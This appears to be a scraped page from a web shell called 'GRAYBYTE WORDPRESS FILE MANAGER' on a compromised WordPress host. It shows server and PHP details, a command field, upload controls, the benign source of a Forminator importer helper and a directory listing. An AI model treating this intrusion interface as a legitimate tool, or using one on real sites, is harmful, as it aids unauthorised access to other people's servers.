GRAYBYTE WORDPRESS FILE MANAGER9808

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/nioscentre.in/wp-content/plugins/forminator/library/helpers/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/nioscentre.in/wp-content/plugins/forminator/library/helpers//helper-importer.php
<?php
/**
 * Importer helper functions.
 *
 * @package Forminator
 */

/**
 * Return status of external plugins for Import/export feature
 *
 * If this function return false, Import/export feature for the
 * plugin will be disabled
 *
 * @since 1.7
 * @param  string $plugin Name of the plugin.
 * @return bool
 */
function forminator_is_import_plugin_enabled( $plugin ) {
	// enable import export feature for entire planet by default.
	$active = false;

	switch ( $plugin ) {
		case 'cf7':
			if ( function_exists( 'wpcf7_contact_form' ) ) {
				$active = true;
			}
			break;
		case 'ninjaforms':
			if ( class_exists( 'Ninja_Forms' ) ) {
				$active = false;
			}
			break;
		case 'gravityforms':
			if ( class_exists( 'GFForms' ) ) {
				$active = false;
			}
			break;

		default:
			// code...
			break;
	}

	/**
	 * Filter the status of Import/export feature
	 *
	 * @since 1.4
	 *
	 * @param bool $active current status of the plugin.
	 */
	$active = apply_filters( 'forminator_is_import_export_feature_enabled', $active );

	return $active;
}

/**
 * Get plugin deactivation link
 *
 * @param string $plugin Name of the plugin.
 * @param string $slug Plugin slug.
 *
 * @since 1.7
 *
 * @return bool
 */
function forminator_get_disable_url( $plugin, $slug ) {
	if ( ! forminator_is_import_plugin_enabled( $plugin ) ) {
		return false;
	}

	if ( is_plugin_active_for_network( $slug ) ) {
		return wp_nonce_url( trailingslashit( network_admin_url() ) . 'plugins.php?action=deactivate&amp;plugin=' . $slug . '&amp;plugin_status=all', 'deactivate-plugin_' . $slug );
	} else {
		return wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . $slug . '&amp;plugin_status=all', 'deactivate-plugin_' . $slug );
	}
}


/**
 * Return status of external plugins for Import/export feature
 *
 * If this function return false, Import/export feature for the
 * plugin will be disabled
 *
 * @since 1.7
 * @param  array $plugins Name of the plugins.
 * @return bool
 */
function forminator_are_import_plugins_enabled( $plugins = array() ) {

	$active = false;
	foreach ( $plugins as $key => $plugin ) {
		if ( true === $active ) {
			break;
		}

		$active = forminator_is_import_plugin_enabled( $plugin );
	}

	$active = apply_filters( 'forminator_are_import_plugins_enabled', $active );

	return $active;
}

/**
 * Return all the contact forms from thirdparties
 *
 * @param string $type type.
 *
 * @since 1.7
 * @return array list of forms
 */
function forminator_list_thirdparty_contact_forms( $type ) {
	// get all forms.
	$forms = array();
	switch ( $type ) {
		case 'cf7':
			$forms = get_posts(
				array(
					'post_type'      => 'wpcf7_contact_form',
					'posts_per_page' => -1,
				)
			);
			break;
		case 'ninjaforms':
			$forms = Ninja_Forms()->form()->get_forms();
			break;
		case 'gravityforms':
			$forms = GFAPI::get_forms();
			break;
	}

	return $forms;
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 01 2025 09:31:58
giriqfky / giriqfky
0755
encryption.php
4.828 KB
September 25 2024 19:17:56
giriqfky / giriqfky
0644
helper-addon.php
48.087 KB
March 17 2025 17:29:02
giriqfky / giriqfky
0644
helper-autofill.php
0.718 KB
September 02 2024 15:32:28
giriqfky / giriqfky
0644
helper-calculator.php
0.112 KB
September 02 2024 15:32:28
giriqfky / giriqfky
0644
helper-core.php
56.792 KB
May 07 2025 16:49:06
giriqfky / giriqfky
0644
helper-currency.php
10.187 KB
September 02 2024 15:32:28
giriqfky / giriqfky
0644
helper-fields.php
120.026 KB
May 07 2025 16:49:06
giriqfky / giriqfky
0644
helper-forms.php
28.027 KB
September 02 2024 15:32:28
giriqfky / giriqfky
0644
helper-google-fonts.php
56.09 KB
November 25 2024 21:22:22
giriqfky / giriqfky
0644
helper-importer.php
2.81 KB
September 02 2024 15:32:28
giriqfky / giriqfky
0644
helper-mail.php
2.207 KB
September 02 2024 15:32:28
giriqfky / giriqfky
0644
helper-modules.php
0.574 KB
September 02 2024 15:32:28
giriqfky / giriqfky
0644
helper-payment.php
1.569 KB
September 02 2024 15:32:28
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF